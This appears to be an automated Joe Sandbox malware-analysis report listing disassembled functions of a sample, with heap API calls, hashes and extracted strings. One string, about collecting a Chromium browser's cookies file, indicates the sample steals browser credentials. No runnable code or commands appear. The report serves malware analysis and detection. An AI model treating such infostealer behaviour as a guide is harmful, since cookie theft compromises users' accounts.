RtlAllocateHeap.NTDLL(?,00000000,00CD98AB), ref: 00D03BF1

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c0c4d1354a434e4cbf57a88f7bcae437ef35becdfea7d92182394466b0b13f4e
Instruction ID: 368bad99cceaa16d382e9153ce31e543ecb1c9de34030f9c2a7fa86a1b995bb2
Opcode Fuzzy Hash: c0c4d1354a434e4cbf57a88f7bcae437ef35becdfea7d92182394466b0b13f4e
Instruction Fuzzy Hash: 18114871208301AFE704CF15C46475BFBE5EBC4328F108A1DE8A80B691CB75DA0ACBD6

Uniqueness

Uniqueness Score: -1.00%

Function 00D075CD Relevance: 1.5, APIs: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 00D07658

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7ca58fa43ce9610f00b1eb8d53625a2ff1f43fd7ed454327e72f3bb77fef8923
Instruction ID: f8ebb9e582e8496010eefdb1fa62bc32eb180378772396b071650479237fb602
Opcode Fuzzy Hash: 7ca58fa43ce9610f00b1eb8d53625a2ff1f43fd7ed454327e72f3bb77fef8923
Instruction Fuzzy Hash: AB0105715083519FE710CF04D55474FFBA2EBC4328F54CA4DE8A82B285D375E9498BE2

Uniqueness

Uniqueness Score: -1.00%

Function 00D03C2A Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00D03CB4

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: cbd7b67014c113e744af528c3c4f5d57d227dca8df7637c7779131594cd2913d
Instruction ID: a0d4779e639c37ac40c96f90447a30c956623031a15f0d48e4c2cf8f702deb1e
Opcode Fuzzy Hash: cbd7b67014c113e744af528c3c4f5d57d227dca8df7637c7779131594cd2913d
Instruction Fuzzy Hash: D401C8701083409FE314CF14C4A471BBBE1EBC5318F208E4CE8A917691C775D949CF9A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00CD1700 Relevance: 10.6, Strings: 8, Instructions: 594COMMON

Download Yara Rule

Strings

{, xrefs: 00CD1A65
[, xrefs: 00CD1968
., xrefs: 00CD17CE
true, xrefs: 00CD1879
false, xrefs: 00CD1891
null, xrefs: 00CD19AE
., xrefs: 00CD17A9
0, xrefs: 00CD17A3

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: .$.$0$[$false$null$true${
API String ID: 0-1639024219
Opcode ID: 90341aa79692e7db31999afe92fd30e98e412afa771c2c7ccbf0222e1498820c
Instruction ID: 07362335be1b0eeb15e350c7f2de93764b50adacd10a61d4812a8acd1b76fb01
Opcode Fuzzy Hash: 90341aa79692e7db31999afe92fd30e98e412afa771c2c7ccbf0222e1498820c
Instruction Fuzzy Hash: B91226B0A00309AFE7109F65DC45727BBE5AF40344F1D443AEE9A87392EB35EA04DB52

Uniqueness

Uniqueness Score: -1.00%

Function 00CDEF2D Relevance: 6.4, Strings: 5, Instructions: 151COMMON

Download Yara Rule

Strings

tEDG, xrefs: 00CDF0FC
pAuC, xrefs: 00CDF0F2
@5O7, xrefs: 00CDF0D4
o=_?, xrefs: 00CDF0C0
X1S3, xrefs: 00CDF0CA

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: @5O7$X1S3$o=_?$pAuC$tEDG
API String ID: 0-858526541
Opcode ID: 1c0a9a9fb3d2f08a7b012cd42b183afbad184beac71f3485575748b2191c0e8e
Instruction ID: d1abb0b17009463562352efd834b6aea15080404115e7dd6410f6398d8e25dce
Opcode Fuzzy Hash: 1c0a9a9fb3d2f08a7b012cd42b183afbad184beac71f3485575748b2191c0e8e
Instruction Fuzzy Hash: D96153B0205B42AFE328DF25C890795FBA2FB52704F148A0DC1AA5BB45C734A466CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 00CD52F0 Relevance: 3.4, Strings: 2, Instructions: 851COMMON

Download Yara Rule

Strings

0, xrefs: 00CD5C8A
8, xrefs: 00CD5C82

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: f4c51b98f57c86357580e9f3c4a7c92e5af74c5c2bb1402812c91b9d9baf38be
Instruction ID: 62f1bf99634374f1d3b91c8df0b81f5040276598a12444157a0afd362453f7f5
Opcode Fuzzy Hash: f4c51b98f57c86357580e9f3c4a7c92e5af74c5c2bb1402812c91b9d9baf38be
Instruction Fuzzy Hash: 10728B716087409FD714CF18C880B9BBBE2BF98354F18892EFA998B391D775D944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00D09AF0 Relevance: 2.8, Strings: 2, Instructions: 310COMMON

Download Yara Rule

Strings

R-,T, xrefs: 00D09B90
R-,T, xrefs: 00D09C80

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: R-,T$R-,T
API String ID: 0-2000385741
Opcode ID: aed3bdc39fe07416ae429a3a9a4b022df6f0cf4605655bb5f18c7bf831026384
Instruction ID: 8cbdfe08c35ecfcb5be962b663af2d37eb32611e302a128b2772a1d0f20d3cf3
Opcode Fuzzy Hash: aed3bdc39fe07416ae429a3a9a4b022df6f0cf4605655bb5f18c7bf831026384
Instruction Fuzzy Hash: 3EA19CB1A043129BD714CF18C4A076AF7E1FF88724F198A1CE8999B392D734EC51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00CE3E4A Relevance: 2.6, Strings: 2, Instructions: 146COMMON

Download Yara Rule

Strings

", xrefs: 00CE4057
Z%_#, xrefs: 00CE3F49

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: "$Z%_#
API String ID: 0-3398817662
Opcode ID: c3baa8916274a5841e492b99ba528c07f386ec5633c647d30634eb3688be5be9
Instruction ID: 62f609fc70e746b345a46b2e25bcbd846701a8a3daef2f7738be1a928a1c9531
Opcode Fuzzy Hash: c3baa8916274a5841e492b99ba528c07f386ec5633c647d30634eb3688be5be9
Instruction Fuzzy Hash: E06100B0101B819BE3258F21D8A97E7BBE1FF46348F54491CC1EB4B281D7B62249CF80

Uniqueness

Uniqueness Score: -1.00%

Function 00D05412 Relevance: 2.6, Strings: 2, Instructions: 113COMMON

Download Yara Rule

Strings

@, xrefs: 00D05778
0m=s, xrefs: 00D05488

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: 0m=s$@
API String ID: 0-131613617
Opcode ID: 3919ae6cc5dcc2c50f2f1905f4b51ed0374b77d12d260e852d935e42c85a9952
Instruction ID: eeec6e9625b864b640ef7a7d8168562110ca8d342624e0654011d043088b6232
Opcode Fuzzy Hash: 3919ae6cc5dcc2c50f2f1905f4b51ed0374b77d12d260e852d935e42c85a9952
Instruction Fuzzy Hash: 2C3143B05183408BD724CF18D89076BBBF0FF86348F54080DE8859B394E379C989CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00CF58A2 Relevance: 2.1, Strings: 1, Instructions: 839COMMON

Download Yara Rule

Strings

))+ , xrefs: 00CF62E0

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: ))+
API String ID: 0-2264702822
Opcode ID: 860a2a15e44d56225d97d70414f4fd3c381e72bb2993da1c88372f26bfee7dfd
Instruction ID: 9bc58bdba52e697012d63d2c1379d5eb7825131564a6654b56748984d08f20a5
Opcode Fuzzy Hash: 860a2a15e44d56225d97d70414f4fd3c381e72bb2993da1c88372f26bfee7dfd
Instruction Fuzzy Hash: F552DD70100B418BD369CF29C494772BBE2BF46304F588A6DD2E78BB92C735E506CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00CD1000 Relevance: 1.8, Strings: 1, Instructions: 544COMMON

Download Yara Rule

Strings

, xrefs: 00CD12C9

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 80a18491117150d333441df3bff268fad76f51a6498208e97f7ba7341a4a6845
Instruction ID: 31f4b42a891c7f00e5ceb8a37fb97c869ad2a855647614e5f36cc38270351992
Opcode Fuzzy Hash: 80a18491117150d333441df3bff268fad76f51a6498208e97f7ba7341a4a6845
Instruction Fuzzy Hash: 0E120570508780ABE7248E26C09436BBBE29FD2310F1CC91FDAE5477D6D278DA89D752

Uniqueness

Uniqueness Score: -1.00%

Function 00CE6CDD Relevance: 1.6, Strings: 1, Instructions: 374COMMON

Download Yara Rule

Strings

d!`#, xrefs: 00CE6E59

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: d!`#
API String ID: 0-1796573514
Opcode ID: 5854448fd1c6f27d7c1b5423262d560628bf161d19940b0da311fe20a0852a03
Instruction ID: dc7c2be6028b3fbdb386246ae92988a9cbf12b9e2924e5748d9080cc3330791c
Opcode Fuzzy Hash: 5854448fd1c6f27d7c1b5423262d560628bf161d19940b0da311fe20a0852a03
Instruction Fuzzy Hash: 8FC1AA752107018BD728CF29C8A1763B3B2FF9A314F19861CD8968B795E734F945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00CEA8C0 Relevance: 1.6, Strings: 1, Instructions: 304COMMON

Download Yara Rule

Strings

onqp, xrefs: 00CEAB46

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: f05e4dd1beb44c64f574916bb911bd6be1fea9af9921a6774c8c777cbf9fe470
Instruction ID: 4e5ee7141e5ef6e6771ffec8c175dad17056827507505f6d59ac1ce4b2003fa2
Opcode Fuzzy Hash: f05e4dd1beb44c64f574916bb911bd6be1fea9af9921a6774c8c777cbf9fe470
Instruction Fuzzy Hash: 8C81F1B19043419FD714DF15C8A2B7BB3B5EF91324F1A4528E8965B392E374EE01CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00CEA420 Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

'QRS, xrefs: 00CEA556

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: 'QRS
API String ID: 0-187708292
Opcode ID: ae6ee3a89638a7fdb7e706c294a482b01831678f2332d072d8f8bd03641aa3c9
Instruction ID: f2807501b97c5aa649b7d3f85f9da8cb5a7dbddb2c54a41662e3d738cde42781
Opcode Fuzzy Hash: ae6ee3a89638a7fdb7e706c294a482b01831678f2332d072d8f8bd03641aa3c9
Instruction Fuzzy Hash: 0D71C0B15042508FDB24DF19C892A7773B1EF96324F1A855CE8A24B3D1E775EE01C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00CD65F0 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

,, xrefs: 00CD6747

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 4303eaba738641e0dfd53d6692d663189ecfa2db0f3afb9ea794ddc93ded9011
Instruction ID: ae25b3e3f946e7106915c3670f1bdf320ad533289cfedd54f7bc8f045f61be73
Opcode Fuzzy Hash: 4303eaba738641e0dfd53d6692d663189ecfa2db0f3afb9ea794ddc93ded9011
Instruction Fuzzy Hash: 51B12971509381AFD314CF68C88475BFBE0AFA9304F444A5EF59897382C775DA28CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00CE3C46 Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

[info] collected cookies file of the chromium-based browser, xrefs: 00CE3D16

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: [info] collected cookies file of the chromium-based browser
API String ID: 0-3235166063
Opcode ID: 4b030052947b6bc1495ac5410084f5d27160b81704d7acb0aa25d2d5d2846f49
Instruction ID: 0ee472b82a7824b8134936ccc244b11a9a1796c07edd56a83676ba1ed429f610
Opcode Fuzzy Hash: 4b030052947b6bc1495ac5410084f5d27160b81704d7acb0aa25d2d5d2846f49
Instruction Fuzzy Hash: 1A412A30115B80CAE329CB34C895BEBB7B2BB45305F845A1DD0AB872C2DBB57606CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00CD7CB0 Relevance: .9, Instructions: 863COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 078ab5e1384abebf0a1c9e083fa75fb9870894a45fffc8b676864af510a6ad83
Instruction ID: fd9a39f960df49744c22bfc141bc2535f54847b455de09c9d010f6a60b2b27d7
Opcode Fuzzy Hash: 078ab5e1384abebf0a1c9e083fa75fb9870894a45fffc8b676864af510a6ad83
Instruction Fuzzy Hash: B45219315087128BC725DF18D88027AB3E1FFD4314F158A2EDAD697395EB34E95ACB82

Uniqueness

Uniqueness Score: -1.00%

Function 00CD3260 Relevance: .7, Instructions: 739COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8facecfddd720ccdbfbc9918caefa5a5285e746b6a581131517add8d49c9d3ba
Instruction ID: 6346bf75a8edc33b33c8ad3b4a5f230995e6bd6948c6efbe9bb0d5fda9048fca
Opcode Fuzzy Hash: 8facecfddd720ccdbfbc9918caefa5a5285e746b6a581131517add8d49c9d3ba
